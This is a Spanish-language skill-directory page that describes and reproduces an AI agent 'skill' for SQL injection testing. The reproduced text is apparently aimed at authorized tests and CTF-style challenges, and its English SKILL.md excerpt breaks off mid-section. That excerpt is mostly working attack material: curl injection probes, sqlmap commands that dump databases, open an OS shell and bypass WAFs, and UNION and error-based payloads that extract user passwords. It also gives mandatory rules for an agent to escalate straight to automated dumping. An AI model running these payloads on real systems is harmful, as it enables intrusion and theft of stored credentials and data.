Saltar al contenido
Skillpedia
Seguridad6,5 mil · #14080

sqli

Qué hace

Esta habilidad guía al agente para comprobar si los campos de entrada cambian las consultas a la base de datos. Está pensada para probadores de seguridad que revisan formularios, cuadros de búsqueda y parámetros de URL.

Cuándo usarla

  • ✓Cuando una página recibe un id, un término de búsqueda o un campo de inicio de sesión y quieres comprobarlo por inyección SQL.
  • ✓Cuando una revisión de seguridad pregunta si las consultas a la base de datos usan parámetros seguros.
  • ✓Cuando quieres usar sqlmap para comprobar una URL o un formulario en una prueba autorizada.

Link de la skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md

Cópialo y pégalo en tu IA (Claude, ChatGPT o Cursor) pidiéndole que siga las instrucciones.

Cómo usar

La forma más fácil: copia el mensaje y pégalo en tu IA. Ella lee la skill y sigue las instrucciones.

Mensaje listo para pegar

Usa esta skill para ayudarme: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/web/sqli/SKILL.md Lee el archivo SKILL.md de ese link y sigue sus instrucciones en mi tarea.
¿Quieres que tu IA encuentre skills como esta por sí sola?Instala el MCP gratis de Skillpedia: una línea, y busca entre 15.000+ skills antes de cada tarea.Instalar en 1 minuto →

Ejemplo de qué pedirle a la IA

“¿Puedes comprobar si el cuadro de búsqueda de mi sitio puede usarse para ejecutar consultas a la base de datos?”

5 skills nuevas por semana. 1 minuto de lectura.

Cómo funciona

El agente envía comillas y pruebas lógicas a la entrada, compara las respuestas o los tiempos y usa herramientas automatizadas cuando confirma que la entrada llega a la base de datos.

Contenido técnico (SKILL.md original)

Texto original del autor, en inglés, directo de GitHub.

SQL Injection

Exploits unsanitized user input in SQL queries. Types: Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries.

Detection

# Single quote error test
curl -s 'https://<TARGET>/page?id=1%27' -o sqli_test_quote.txt

# Boolean test
curl -s 'https://<TARGET>/page?id=1+AND+1=1' -o sqli_true.txt
curl -s 'https://<TARGET>/page?id=1+AND+1=2' -o sqli_false.txt

# Time-based blind
curl -s 'https://<TARGET>/page?id=1%27+AND+SLEEP(5)--+-' --max-time 10 -w '\nTime: %{time_total}s\n' -o sqli_time.txt

sqlmap — Automated Exploitation

# Basic detection and exploitation
sqlmap -u 'https://<TARGET>/page?id=1' --batch --output-dir sqlmap_<TARGET>/

# Aggressive scan (higher risk/level)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --risk 3 --level 5 --output-dir sqlmap_<TARGET>/

# POST request
sqlmap -u 'https://<TARGET>/login' --data 'user=admin&pass=test' --batch --output-dir sqlmap_<TARGET>/

# With cookies/headers
sqlmap -u 'https://<TARGET>/page?id=1' --cookie 'session=<TOKEN>' -H 'X-Custom: value' --batch --output-dir sqlmap_<TARGET>/

# Enumerate databases
sqlmap -u 'https://<TARGET>/page?id=1' --batch --dbs --output-dir sqlmap_<TARGET>/

# Dump specific table
sqlmap -u 'https://<TARGET>/page?id=1' --batch -D <DATABASE> -T <TABLE> --dump --output-dir sqlmap_<TARGET>/

# OS shell (if stacked queries + privileges)
sqlmap -u 'https://<TARGET>/page?id=1' --batch --os-shell --output-dir sqlmap_<TARGET>/

# Tamper scripts for WAF bypass
sqlmap -u 'https://<TARGET>/page?id=1' --batch --tamper=space2comment,between,randomcase --output-dir sqlmap_<TARGET>/

Blind SQLi Fast-Path (MANDATORY when tag is blind_sqli)

When the challenge tag includes blind_sqli, skip exploratory probing and go straight to confirmation + sqlmap:

  1. Run ONE time-based probe and ONE boolean differential in your first exploit bash call:
    # Time-based oracle confirmation
    curl -s "http://<TARGET>/page?id=1' AND SLEEP(5)--+-" --max-time 10 -w '\nTime: %{time_total}s\n' -o blind_time.txt
    # Boolean differential
    curl -s "http://<TARGET>/page?id=1' AND 1=1--+-" -o blind_true.txt
    curl -s "http://<TARGET>/page?id=1' AND 1=2--+-" -o blind_false.txt
    
  2. If either confirms (time delay ≥5s OR boolean diff in response) — launch sqlmap IMMEDIATELY:
    sqlmap -u "http://<TARGET>/page?id=1" --technique=BT --batch --dump --threads=5 \
      --output-dir sqlmap_blind/ 2>&1 | tee sqlmap_blind.log &
    
  3. Do NOT iterate manual character extraction. Once the time-based or boolean differential confirms the vector, the next bash call MUST launch sqlmap or a scripted harness — not another confirmation probe.

Manual-vs-Tool Decision Rule (MANDATORY)

Once SQLi is confirmed (any of: error string, boolean differential, time delay), follow this escalation:

State Action
SQLi confirmed, no extraction yet Run sqlmap --batch -u "<URL>" --dump --threads=5 FIRST
sqlmap fails or is blocked (WAF, custom encoding) Write ONE harness script (Python/bash) that does length-probe → binary-search → reconstruct in a single invocation
Harness produces partial output LET IT FINISH. Do NOT switch to manual curl probes. Do NOT edit_file the running harness.
Harness completes with partial extraction Submit/verify the partial result before launching a second harness

Anti-pattern: iterating dozens of manual single-character curls when sqlmap --dump would extract the same column in one invocation. Manual single-char extraction is a teaching exercise, not an attack technique against a confirmed sink.

Hard rule: once SQLi is confirmed (any of: error string, boolean differential, time delay), the next bash call MUST escalate to sqlmap or a scripted harness. Iterating manual character probes after confirmation is the canonical mis-allocation in this skill.

Manual Techniques

Union-Based

-- Determine column count
ORDER BY 1-- -
ORDER BY 2-- -
-- ... increment until error

-- Extract data via UNION
' UNION SELECT 1,2,3-- -
' UNION SELECT username,password,3 FROM users-- -
' UNION SELECT table_name,column_name,3 FROM information_schema.columns-- -

Error-Based (MySQL)

-- ExtractValue
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))-- -
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT user FROM mysql.user LIMIT 1),0x7e))-- -

-- UpdateXML
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT @@version),0x7e),1)-- -

**Bl

Preguntas frecuentes

¿Qué hace sqlmap?

La habilidad usa sqlmap, una herramienta que automatiza las pruebas de inyección SQL, y menciona scripts de manipulación para saltar filtros.

¿Cubre la inyección a ciegas?

Sí. Cubre las pruebas a ciegas basadas en booleanos y en tiempo, además de las pruebas union y basadas en errores.

¿Puede volcar tablas de la base de datos?

La habilidad muestra cómo listar las bases de datos y volcar una tabla elegida durante una prueba.

Detalles

Descripción original del autor

SQL Injection — automated and manual exploitation of unsanitized SQL queries. Covers Union-based, Error-based, Blind (Boolean/Time-based), and Stacked queries. Includes sqlmap automation with WAF bypass tamper scripts.

repo: BitterSecurity/Decepticon

Popularidad

Estrellas en GitHub
6,5 mil
Posición en el ranking
#14080
Licencia
Apache-2.0
Actualizada
1/11/2026

¿Te sirve esta skill?

0

Entra para votar.

Comentarios

  • …

Más skills de este repositorio

Skills parecidas